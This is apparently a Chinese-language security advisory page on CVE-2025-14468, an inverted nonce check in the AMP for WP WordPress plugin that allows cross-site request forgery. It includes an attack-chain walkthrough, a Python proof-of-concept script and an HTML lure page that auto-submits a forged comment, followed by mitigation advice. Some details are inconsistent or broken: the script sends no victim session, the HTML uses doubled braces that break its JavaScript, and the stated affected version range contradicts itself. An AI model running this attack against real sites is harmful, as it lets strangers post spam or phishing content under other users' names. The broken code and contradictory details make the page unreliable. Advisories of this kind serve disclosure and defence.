IPBUF安全漏洞报告
English
CVE-2025-14468 CVSS 4.3 中危

CVE-2025-14468 WordPress AMP插件CSRF漏洞允许未认证用户代替已登录用户提交评论

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2025-14468
漏洞类型
跨站请求伪造 (CSRF)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
AMP for WP – Accelerated Mobile Pages plugin for WordPress

相关标签

CSRF跨站请求伪造WordPress插件漏洞AMP for WPNonce验证漏洞评论系统漏洞中危漏洞移动页面加速插件CVE-2025-14468

漏洞概述

AMP for WP – Accelerated Mobile Pages是WordPress平台上广受欢迎的移动页面加速插件。2026年1月7日,安全研究团队Wordfence披露了该插件中存在一个严重的跨站请求伪造(CSRF)漏洞,编号为CVE-2025-14468。该漏洞源于插件在处理评论提交时(amp_theme_ajaxcomments AJAX处理器)的nonce验证逻辑完全反转:正常情况下应该拒绝无效nonce并接受有效nonce,但该插件的逻辑恰好相反,导致带有有效nonce的请求被拒绝,而带有缺失或无效nonce的请求反而被接受。由于WordPress的nonce机制是防止CSRF攻击的核心安全屏障,这一逻辑反转使得攻击者可以构造恶意请求,在无需任何认证的情况下,以任何已登录用户的名义提交评论内容。此漏洞的CVSS评分为4.3,属于中等严重程度,但考虑到其对网站评论系统完整性的潜在影响,仍需及时修复。攻击成功的必要条件是目标网站启用了该插件的模板模式(template mode),这在移动端优化场景中较为常见。

技术细节

该漏洞的技术根源在于插件代码中对WordPress nonce验证逻辑的误解和错误实现。在WordPress安全机制中,wp_verify_nonce()函数用于验证nonce的有效性:验证成功返回非零值(表示nonce有效),验证失败返回0或false。开发者本应在验证失败时拒绝请求,但该插件的代码逻辑却反其道而行之——将验证结果取反(inverted),导致有效nonce被判断为无效并拒绝处理,而无效或缺失的nonce反而被接受执行。这种逻辑反转使得攻击者可以绕过CSRF保护机制,通过诱骗已登录用户点击恶意链接或访问包含恶意代码的页面,自动以该用户的身份执行评论提交操作。攻击流程涉及攻击者构造包含评论内容的POST请求,诱导受害者点击触发。由于插件在template-mode.php文件的第119、50和698行存在问题代码,攻击者可以利用这个漏洞在用户不知情的情况下向网站注入评论内容,可能用于垃圾信息传播、钓鱼攻击或社会工程学目的。值得注意的是,该漏洞的利用不要求攻击者具备任何认证权限,仅需诱骗用户完成一次点击操作即可。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者首先确认目标网站运行WordPress CMS并安装了AMP for WP插件(版本<=1.1.9),同时验证该插件的template mode功能已启用。攻击者可通过检查页面源码中是否包含amphtml链接或直接访问插件页面来确认。
STEP 2
步骤2: 构造恶意请求
攻击者分析插件的amp_theme_ajaxcomments AJAX端点(通常位于/wp-admin/admin-ajax.php),构造一个包含评论内容的POST请求。关键点是请求中不包含有效的nonce值或使用任意无效nonce,因为插件的验证逻辑会接受这种请求。
STEP 3
步骤3: 社会工程学攻击
攻击者通过钓鱼邮件、恶意网站、社交媒体链接或即时消息等方式,向目标网站的已登录用户发送包含恶意JavaScript代码或自动提交表单的页面链接。诱导用户点击或访问这些内容以触发伪造的请求。
STEP 4
步骤4: 自动执行评论提交
当已登录用户访问攻击者构造的页面时,恶意JavaScript代码会自动以该用户的浏览器身份向目标网站的AJAX端点发送POST请求。由于用户的浏览器已携带有效的认证cookie,请求会被WordPress视为来自该登录用户的合法操作。
STEP 5
步骤5: 绕过nonce验证
由于插件的nonce验证逻辑反转,攻击者故意发送的无效或空nonce不仅不会被拒绝,反而被接受执行。插件错误地拒绝了本应通过验证的请求,却处理了本应被拦截的伪造请求。
STEP 6
步骤6: 评论成功提交
评论内容以受害用户的名义成功提交到目标文章的评论区。攻击者可利用此漏洞大量散布垃圾评论、恶意链接或进行钓鱼攻击,同时嫁祸于无辜的已登录用户。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-14468 PoC - CSRF to submit comments as logged-in user # Target: WordPress site with AMP for WP plugin (<= 1.1.9) # Condition: Plugin template mode must be enabled def exploit_csrf(target_url, comment_text): """ Exploit CSRF vulnerability in AMP for WP plugin's amp_theme_ajaxcomments handler The nonce verification logic is inverted - valid nonces are rejected, invalid are accepted """ # AJAX endpoint for comment submission ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Construct the malicious request # Note: The vulnerability accepts requests WITHOUT valid nonce data = { 'action': 'amp_theme_ajaxcomments', 'comment_post_ID': '1', # Target post ID 'comment': comment_text, 'email': '[email protected]', 'url': 'https://malicious-site.com', 'author': 'Attacker Name', # Intentionally omit or provide invalid nonce - it will be accepted 'comment_nonce': '' # Empty nonce - will pass due to inverted logic } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded', 'Referer': target_url } try: response = requests.post(ajax_url, data=data, headers=headers, timeout=10) print(f"[*] Request sent to {ajax_url}") print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body: {response.text[:500]}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None # HTML payload for social engineering html_payload = ''' <!DOCTYPE html> <html> <head><title>Interesting Article</title></head> <body> <h1>Check out this amazing article!</h1> <p>Click the link below:</p> <a href="javascript:void(0)" onclick="submitComment()">Click Here</a> <script> function submitComment() {{ // Automatically submit forged comment request var xhr = new XMLHttpRequest(); xhr.open("POST", "https://target-site.com/wp-admin/admin-ajax.php", true); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.send("action=amp_theme_ajaxcomments&comment_post_ID=1&comment=Spam+Comment&comment_nonce="); alert("Done!"); }} </script> </body> </html> ''' if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-14468.py <target_url> <comment_text>") print("Example: python cve-2025-14468.py https://example.com "Spam content"") sys.exit(1) target = sys.argv[1] comment = sys.argv[2] exploit_csrf(target, comment)

影响范围

AMP for WP plugin < 1.1.9 (all versions up to and including 1.1.9)

防御指南

临时缓解措施
临时缓解措施:1)在WordPress后台暂时禁用AMP for WP插件;2)如果需要保持移动端加速功能,可通过.htaccess或Nginx配置规则临时限制对admin-ajax.php的访问来源;3)联系网站开发者检查插件代码中template-mode.php文件的第119、50、698行,临时修复nonce验证逻辑;4)加强对评论提交的审核机制,启用评论审核和反垃圾插件;5)建议网站管理员在用户社区发布安全公告,提醒用户保持登录状态时谨慎点击外部链接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表